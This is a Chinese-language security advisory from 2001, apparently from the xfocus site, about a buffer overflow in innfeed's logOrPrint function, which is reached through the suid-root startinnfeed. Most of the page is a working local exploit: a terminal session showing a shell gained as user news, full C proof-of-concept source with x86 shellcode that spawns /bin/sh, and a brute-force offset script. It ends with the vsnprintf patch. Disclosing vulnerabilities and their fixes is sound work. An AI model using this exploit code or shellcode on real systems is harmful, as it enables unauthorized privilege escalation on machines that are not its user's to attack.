xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

innfeed 程序存在缓冲溢出漏洞


发布时间:2001-04-19
更新时间:2001-04-19
严重程度:
威胁程度:权限提升
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Slackware 7.1 和以前的版本
Mandrake 7.0 和以前的版本
RedHat 7.2 和以前的版本
详细描述
innfeed是实现NNTP协议用来机器之间传输news的程序,其中在使用-c
标志时没有很好的进行边界检查。问题存在于vsprint()的logOrPrint()
函数中没有对缓冲进行检查,可以导致破坏堆栈,用户获得news的属性,
利用某些木马等手段可以获得更高的权利。

测试代码
------------------------


nahual@shell:~$ ls -al /usr/lib/news/bin/innfeed
-r-xr-x--- 1 news news 213124 Jun 14 2000
/usr/lib/news/bin/innfeed*
nahual@shell:~$ ls -al /usr/lib/news/bin/startinnfeed
-r-sr-x--- 1 root news 40796 Jun 14 2000
/usr/lib/news/bin/startinnfeed*
nahual@shell:~$ id
uid=1001(nahual) gid=100(users) groups=100(users),13(news)
nahual@shell:~$ ./x-innfeed
[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]
------------------------------------------------------------
[ + ] Found by:


[ + ] Alex Hernandez (alex.hernandez@defcom.com)
[ + ] Enrique Sanchez (@defcom.com ... Yes is just @defcom.com)
[ + ] Defcom Labs @ Spain ....
[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)


[ + ] Using address 0xbffff9e4
[ + ] Starting exploitation ...


bash$ id
uid=9(news) gid=13(news) groups=100(users),13(news)
bash$


----
Proof of concept code:
----------------------
--- x-startinnfeed.c ---
/*
  x-innfeed.c
  Buffer overflow in innfeed being called from startinnfeed renders
uid(news) gid(news), startinnfeed is suid root so I have to also check
if I can manage to get root out of this ....
  Enrique A. Sanchez Montellano
  (@defcom.com ... Yes is only @defcom.com)
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define OFFSET  0
#define ALIGN   0
#define BUFFER  470
// MANDRAKE, REDHAT, etc....
#ifdef REDHAT
/* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */
//static char shellcode[]=
//"\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
             "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
             "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
             "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
#endif
#ifdef SLACKWARE
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
static char shellcode[]=
"\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/bash1";
#endif
unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}
void usage(char *name) {
  printf("Usage: %s <offset> <align> <buffer>\n", name);
  printf("Defcom Labs @ Spain ...\n");
  printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
  exit(0);
}
int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  unsigned long addr;
  int i;
  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffer = atoi(argv[3]);
  code = (char *)malloc(buffer);
  printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n");
  printf("------------------------------------------------------------\n");
  printf("[ + ] Found by: \n\n[ + ] Alex Hernandez
(alex.hernandez@defcom.com) \n[ + ] Enrique Sanchez (@defcom.com ... Yes
is just @defcom.com)\n");
  printf("[ + ] Defcom Labs @ Spain ....\n");
  printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n");
  addr = get_sp() - offset;
  printf("[ + ] Using address 0x%x\n", addr);
  for(i = 0; i <= buffer; i += 4) {
   *(long *)&code[i] = 0x90909090;
  }
  *(long *)&code[buffer - 4] = addr;
  *(long *)&code[buffer - 8] = addr;
  memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode,
strlen(shellcode));
  printf("[ + ] Starting exploitation ... \n\n");
  // REDHAT, MANDRAKE ...
#ifdef REDHAT
  execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
#endif
  // SLACKWARE
#ifdef SLACKWARE
  execl("/usr/lib/news/bin/startinnfeed",
"/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
#endif
  return 0;
}
--- x-startinnfeed.c ---
--- brute.sh ---
#!/bin/ksh
L=-2000
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 1`
./x-startinnfeed $L
done
--- brute.sh ---

解决方案
Defcom公布了如下补丁:

---innfeed-overflow.patch---
210c210
<       vsprintf (buffer,fmt,ap) ;
---
>       vsnprintf (buffer,512,fmt,ap) ;
---innfeed-overflow.patch---

建议升级到2.3.1版本。

相关信息
Enrique A. Sanchez Montellano <@defcom.com>
Author: Alex Hernandez <alex.hernandez@defcom.com>